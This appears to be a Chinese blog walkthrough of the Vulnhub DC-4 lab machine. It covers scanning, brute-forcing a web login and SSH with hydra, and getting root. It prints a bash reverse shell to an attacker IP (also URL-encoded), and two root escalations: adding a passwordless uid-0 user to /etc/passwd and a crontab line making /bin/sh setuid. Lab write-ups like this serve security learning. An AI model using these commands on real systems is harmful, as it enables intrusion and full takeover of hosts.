Vulnhub DC-4

一、环境搭建

下载链接:https://www.vulnhub.com/entry/dc-4,313/

解压后用VMware打开,导入虚拟机

网卡配置看个人习惯,我喜欢NAT

二、信息搜集

1.arp-scan 扫出ip

arp-scan 192.168.124.0/24

2.Nmap 扫描端口

扫描全端口,怕漏掉信息

nmap -sV -p 1-65535 -T4 -A

只开了22和80,留意一下系统版本 提权可能会有用

3.扫web目录


三、漏洞发现

打开页面发现是一个需要登陆的地方,丢到bp爆破一下

成功爆出 账号:admin 密码:happy

漏洞利用

登陆后发下如下图一个可以执行命令的地方

比如第一个执行的是ls -l ,利用bp抓包发现可以执行任意命令

细思恐极...直接弹shell试试

echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash

这里注意提交的命令需要URL编码,不然不会被正确解析

%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31

看了看passwd文件发现有几个普通账户

既然还有22端口开着,那就先拿这几个用户入手。这里对jim下手

发现/home/jim/backups目录下有old-passwords.bak看着像备份密码的文件(果不其然,又要爆破)

hydra爆破22端口

hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh

-vV :显示详细输出过程
-o :将结果输出到指定文件

ssh登录 账户: jim 密码: jibril04

提权

将提权版本放到exp库中搜索,无果。

SUID提权

尝试了一下sudo -l ,无果。

搜索具备suid属性的文件

 find / -perm -u=s -type f 2>/dev/null

发现没有熟悉的find命令(难过ing)但是发现了有个奇怪的test.sh

看看这个文件是做什么的

是一个jim用户创建的可以执行命令的文件,查询得知这个文件执行命令依然是用jim用户的权限而不是root所以也不能提权。

查询jim用户可以写的文件

find / -writable -type f 2>/dev/null | grep -v "/proc/"

发现有个邮件,看看是啥

发现了charles用户给jim用户他的密码....

ssh一下,发现该用户可以利用sudo无密码使用teehee且是root权限

发现此命令通过 -a 参数向别的文件写入内容

查询得知有两种思路

  1. 修改passwd文件,添加一个root权限的用户
  2. 写入定时任务,开启一个root权限的shell环境

修改passwd文件

sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Zh1z3ven::0:0:::/bin/bash
charles@dc-4:/usr/bin$ su Zh1z3ven
root@dc-4:/usr/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/usr/bin#

写入定时任务

向/etc/crontab写入一个定时任务创建一个4777属性的/bin/sh

4代表SUID权限

SUID:即为当文件(或命令,但linux一切皆文件~)具有SUID属性时,执行该文件的用户会临时拥有文件拥有者的权限。所以当时test.sh不可以提权,因为文件是jim的。

写入定时任务

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

已具有suid属性的/bin/sh

【Vulnhub】 DC-4 靶机的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  7. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  10. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

随机推荐

  1. SpringBoot:springboot项目jar包如何引入外置配置文件

            springboot项目打成jar包,默认读取的classpath路径下的配置文件,config.properties是自定义配置文件. 如果要把config.properties配置 ...

  2. 3、集成springfox-swagger 3.0.0 + 集成knife4j

    集成springfox-swagger 3.0.0 + 集成knife4j 1.基本用法 1.1.导入依赖 <!-- web接口 --> <dependency> <gr ...

  3. 剑指 Offer 12. 矩阵中的路径

    题目描述 是一道很常见的深搜题目,不过里面要考虑一些边界问题,比如走过的路径是不能再次走入的,所以我这里我自己的 代码想到是利用一个新的二维的数组,记录走过的路径,不过题解的直接将原二维数组中的路径隐 ...

  4. buu SimpleRev

    一.发现是elf文件,拖入ida,然后直接找到了关键函数 点击那个Decry()函数 二.逻辑还是很清晰的,而我是卡在这里v1的逆算法,感觉学到了很多,其实爆破就足够了 这里大小写可以一起写上 tex ...

  5. WPF使用Microsoft.VisualBasic创建单例模式引起的权限降低问题

    在进行WPF开发时,总是在找更加优雅去写单例模式的代码. 很多人都喜欢用Mutex,一个App.cs下很多的Mutex,我也喜欢用. 看完<WPF编程宝典>的第七章Applicaton类后 ...

  6. mybatis常用标签(转)

    1. 定义sql语句 select 标签 属性介绍: id :唯一的标识符. parameterType:传给此语句的参数的全路径名或别名 例:com.test.poso.User或user resu ...

  7. 刷算法,这些api不可不知!

    大家好,我是老三,最近在刷算法,发现有些api记得不熟,所以整理了一波,如果你也在刷题,赶紧收藏吧! 集合 在刷题中,各种数据结构是我们常常用到的,例如栈实现迭代.哈希存储键值对等等,我们来看看常用集 ...

  8. 如何处理RabbitMQ 消息堆积和消息丢失问题

    消息堆积 解决方案: 增加消费者或后台相关组件的吞吐能力 增加消费的多线程处理 根据不同的业务实现不同的丢弃任务,选择不同的策略淘汰任务 默认情况下,RabbitMQ消费者为单线程串行消费,设置并行消 ...

  9. 访问其他人的vue项目

    本地git拉取项目 git clone git@git路径 项目clone到本地后 1.工具命令行切换到此项目路径下 cd 路径名称 2.首先要下载项目所需要的资源包  npm install 这里会 ...

  10. asp.net c# 保存图片到sql2008

    //图像数据表:tx//字段id (nvarchar(50) ,image(image)//tgav为图片ID,实质为上传前的主名 (省略了.jpg)private void kkkkk(byte[] ...